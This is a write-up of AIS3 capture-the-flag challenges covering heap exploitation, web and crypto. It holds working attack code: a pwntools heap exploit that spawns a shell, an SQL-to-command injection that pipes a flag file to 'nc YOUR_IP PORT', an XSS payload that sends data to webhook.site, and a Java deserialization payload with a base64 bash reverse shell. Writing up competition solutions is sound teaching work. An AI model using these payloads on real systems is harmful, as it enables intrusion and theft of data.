# p{i} 指的是第 i 個 point,s{i} 是第 i 個 point 裡面的 name
tcache(0x30) p6 -> p5 -> p4 -> p3 -> p2 -> p1 -> p0
tcache(0x110) s6 -> s5 -> s4 -> s3 -> s2 -> s1 -> s0
fastbin(0x30) p7
fastbin(0x110) s7

Next, create a point with namelen = 32, its point will be p6, and the name will be p5. Writing and then reading the fifth point's value achieves arbitrary memory read.

Then, create 8 more points with namelen = 256, add a different size point exceeding fastbin, e.g., namelen = 128, free 0~7, then free the namelen = 128 point, placing s7 in the unsorted bin. Reading the seventh point's value leaks libc address.

If you try freeing in the arbitrary memory read state, it errors because it first frees the name. Placing the arbitrary memory read address on a fake chunk allows it to enter tcache, then malloc retrieves the fake chunk for heap OOB write.

OOB write allows writing __free_hook in a tcache chunk's next (tcache corruption), then malloc writes system to __free_hook. Setting a chunk's name to /bin/sh and freeing it executes system('/bin/sh').

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

# p = gdb.debug("./chal", "c")
# p = process("./chal")
p = remote("quiz.ais3.org", 5005)


def add_record(x: int, y: int, namelen: int, name: bytes):
    p.sendlineafter(b"> ", "1")
    p.sendlineafter(b"x: ", str(x))
    p.sendlineafter(b"y: ", str(y))
    p.sendlineafter(b"length: ", str(namelen))
    if len(name) == namelen:
        p.sendafter(b"name: ", name)
    else:
        p.sendlineafter(b"name: ", name)


def delete_record(idx: int):
    p.sendlineafter(b"> ", "2")
    p.sendlineafter(b"index: ", str(idx))


def telescope(idx: int):
    p.sendlineafter(b"> ", "4")
    p.sendlineafter(b"index: ", str(idx))
    p.recv(1) # removes single '\n'


# idk wtf am I doing, but it works anyways

add_record(0, 0, 0x10, p64(0) + p64(0x411)) # house of spirits
for i in range(1, 9):
    add_record(i, i, 256, str(i))
add_record(9, 9, 128, "8")  # prevent consolidation
for i in range(1, 9):
    delete_record(i)
delete_record(9)

# leak a heap address
telescope(1)
p.recvuntil(b"- (")
some_heap = int(p.recvline().decode().split(",")[0])
print("some_heap", hex(some_heap))

# leak libc address
telescope(8)  # unsorted
libc = (int.from_bytes(p.recv(6), "little") & ~0xFFF) - 0x1EB000
print("libc", hex(libc))


__unused = some_heap + 0xA40
add_record(
    10, 10, 256, p64(0) + p64(0x50) + b"testing chunk" * 10
)  # I forgot why I tried this, but removing it will break other parts
print(hex(__unused))

# address to the start of house of spirits header
deadbeef = some_heap + 0x2C0
print(hex(deadbeef))

# editing value of 5, so free 5 will frees `deadbeef + 0x10`
add_record(
    11, 11, 32, b"0" * 8 + p64(1234) + p64(5678) + p64(deadbeef + 0x10)
)
delete_record(5)

# offset to next of an appropriate freed tcache chunk
add_record(
    12, 12, 0x400, b"/bin/sh\0" * (0x150 // 8) + p64(libc + 0x1EEB28)  # __free_hook
)
print("__free_hook", hex(libc + 0x1EEB28))

add_record(13, 13, 32, str(13)) # removing unneeded chunks from tcache
add_record(
    87, 87, 32, p64(libc + 0x55410)
)  # malloced name is __free_hook, so write system in
delete_record(
    5
)  # since padding are b'/bin/sh\0', randomly deletes one of them will be free(b'/bin/sh\0'), which will trigger __free_hook
p.interactive()

Flag: AIS3{345y_h34p_345y_l1f3}

Web

ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ

You can use username and password for JSON injection because json.loads takes the last value for duplicate keys.

For example, setting username to c8763 and password to ", "showflag": true, "password": null, "a": " successfully logs in because the JSON becomes:

{"showflag": false, "username": "c8763", "password": "", "showflag": true, "password": null, "a": ""}

Flag: AIS3{/r/badUIbattles?!?!}

HaaS

This challenge has a simple SSRF. If the status code differs from the expected status, it displays the content, but it blocks localhost or 127.0.0.1. You can bypass this by creating an A record pointing to 127.0.0.1 or using other IPv4 representations like 127.1. Using such a request retrieves the flag:

curl "http://quiz.ais3.org:7122/haas" --data "url=http://127.1/&status=1"

Flag: AIS3{V3rY_v3rY_V3ry_345Y_55rF}

【5/22 重要公告】

First, you can use LFI to read the file: curl "http://quiz.ais3.org:8001/?module=php://filter/read=convert.base64-encode/resource=modules/api"

modules/api.php content:

<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}

Inside, you can find an SQL injection, but querying the database doesn't reveal the flag. Instead, control $data['host'] for command injection. Although spaces are replaced, ${IFS} can substitute spaces, and you can send data to your server:

import requests

sh = "google.com' 80;cat /flag_81c015863174cd0c14034cc60767c7f5 | nc YOUR_IP PORT;#'"
payload = (
    r"0 union select 'elite','"
    + sh.replace(" ", "${IFS}").replace("'", "''")
    + r"',1234"
)
print(payload)
resp = requests.get(
    "http://quiz.ais3.org:8001", params={"module": "modules/api", "id": payload}
)
data = resp.json()
print(data)

print(f"timeout 1 nc -vz '{data['host']}' '{data['port']}' 2>&1")

Flag: AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}

XSS Me

This challenge allows placing content in a <script> string via the message parameter. Testing shows that characters like ', ", and \ are properly escaped, preventing escaping the JS string for XSS. However, inputting <script>alert(1)</script> stops the browser from executing the original JS because the browser prioritizes </script> as the end, even within a JS string, enabling XSS.

The message has a length limit, so using <svg/onload> with location=location.hash.slice(1) and placing javascript:... in the hash avoids exceeding the length.

Final URL:

http://quiz.ais3.org:8003/?message=%3C/script%3E%3Csvg%20onload=location=location.hash.slice(1)%3E#javascript:fetch('/getflag').then(r=%3Er.text()).then(x=%3Elocation='https://webhook.site/b8950183-c7a9-431d-8efb-005d738c5798?a='+x)

Flag: AIS3{XSS_K!NG}

Cat Slayer ᴵⁿᵛᵉʳˢᵉ

This challenge involves Java deserialization. Although only .class files are provided, using a Decompiler produces highly readable results that can be compiled.

In the Maou class, you can see custom serialization code, and it constructs classes and calls methods using reflection based on the data. You can try making it call Runtime.exec.

Main.java:

package com.cat;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;

public class Main {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Maou player = new Maou("elite");
        player.summonCats(3);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(player);
        var token = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(token);
    }
}
package com.cat;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;


public class Maou implements Serializable {
    String[] DEMON_NAMES = new String[]{ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQL1BPUlQgMD4mMQ==}|{base64,-d}|{bash,-i} && echo 1 # 1"};

    String CAT_NAME_SETTER = "exec";

    String name = "(unnamed)";

    ArrayList<Cat> cats = new ArrayList<>();

    public Maou(String name) {
        this.name = name;
    }

    public void summonCats(int num) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String[] catTypes = {"BabyCat", "NormalCat", "SuperCat"};
        for (int i = 0; i < num; i++) {
            String type = catTypes[(int) (Math.random() * 3.0D)];
            this.cats.add((Cat) Class.forName("com.cat." + type)
                    .getConstructor(new Class[]{String.class}).newInstance(new Object[]{genCatName() + "-" + type}));
        }
    }

    public String getName() {
        return this.name;
    }

    public ArrayList<Cat> getCats() {
        return this.cats;
    }

    private String genCatName() {
        int len = this.DEMON_NAMES.length;
        return this.DEMON_NAMES[(int) (Math.random() * len)];
    }

    private void writeObject(ObjectOutputStream stream) throws IOException {
        stream.writeObject(this.DEMON_NAMES);
        stream.writeObject(this.CAT_NAME_SETTER);
        stream.writeObject(this.name);
        ArrayList<String> catsClass = new ArrayList<>();
//        for (Cat cat : this.cats){
//            catsClass.add(cat.getClass().getName());
//        }
        catsClass.add("java.lang.Runtime");
        stream.writeObject(catsClass);
    }

    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        this.DEMON_NAMES = (String[]) stream.readObject();
        this.CAT_NAME_SETTER = (String) stream.readObject();
        this.name = (String) stream.readObject();
        this.cats = new ArrayList<>();
        ArrayList<String> catClsStrings = (ArrayList<String>) stream.readObject();
        for (String catCls : catClsStrings) {
            String[] parts = catCls.split("\\.");
            String typeName = parts[parts.length - 1];
            Class<?> cls = Class.forName(catCls);
            Method method = cls.getMethod(this.CAT_NAME_SETTER, String.class);
            Constructor<?> constructor = cls.getDeclaredConstructor();
            constructor.setAccessible(true);
            Object cat = constructor.newInstance();
            this.cats.add((Cat) cat);
        }
    }
}

Using this method, you can generate an RCE payload, placing the command to execute in DEMON_NAMES. Since Runtime.exec processes certain characters, I used this site to format the command for Runtime.exec. The command is a simple reverse shell, and you can listen on your server with nc -vl $PORT.

Flag: AIS3{maou_lucifer_meowmeow}

Crypto

Microchip

This challenge is straightforward. With the known flag format, you can obtain the necessary keys to decrypt the entire message:

s = b"=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
toks = [s[i : i + 4][::-1] for i in range(0, len(s), 4)]
keys = [b - (a - 32) for a, b in zip(b"AIS3", toks[0])]
print(
    "".join(
        sum([[chr(((a - b) % 96) + 32) for a, b in zip(x, keys)] for x in toks], [])
    )
)

Flag: AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}

ReSident evil villAge

The goal is to sign a specific target tt, and the system allows signing any mtm \neq t.

First, sign 2t2t and 212^{-1} to get (2t)d(2t)^d and 2d2^{-d}. Multiplying the two results in tdt^d, and since (td)e=t(t^d)^e = t, tdt^d is a valid signature.

Flag: AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}

Republic of South Africa

This challenge uses a strange keygen function to calculate a count, then generates two public keys n=pq such that p+q == count, and encrypts the flag with RSA.

The count is calculated using the number of elastic collisions in a physical simulation. Since the digits are large, direct calculation is too slow. If you've watched 3b1b's Why do colliding blocks compute pi?, you know that count is the first 153 digits of π\pi: 31415....

Knowing pqpq and p+qp+q, you can solve the quadratic equation (xp)(xq)=x2(p+q)+pq(x-p)(x-q)=x^2-(p+q)+pq to find the roots pp and qq:

from Crypto.Util.number import long_to_bytes
from gmpy2 import isqrt

count = 314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848  # first 153 digits of pi
n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536


def quadratic(a, b, c):
    D = b ** 2 - 4 * a * c
    return (-b + isqrt(D)) // (2 * a), (-b - isqrt(D)) // (2 * a)


p, q = quadratic(1, -count, n)
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m).decode())

Flag: AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}

Microchess

The challenge is to play a Nim Game with a bot. It initially gives you a losing position, so there is no regular way to win.

You can see that it has a save and load game feature, where a position is represented as a comma-separated list of numbers: 8,7,6,3, followed by a custom hash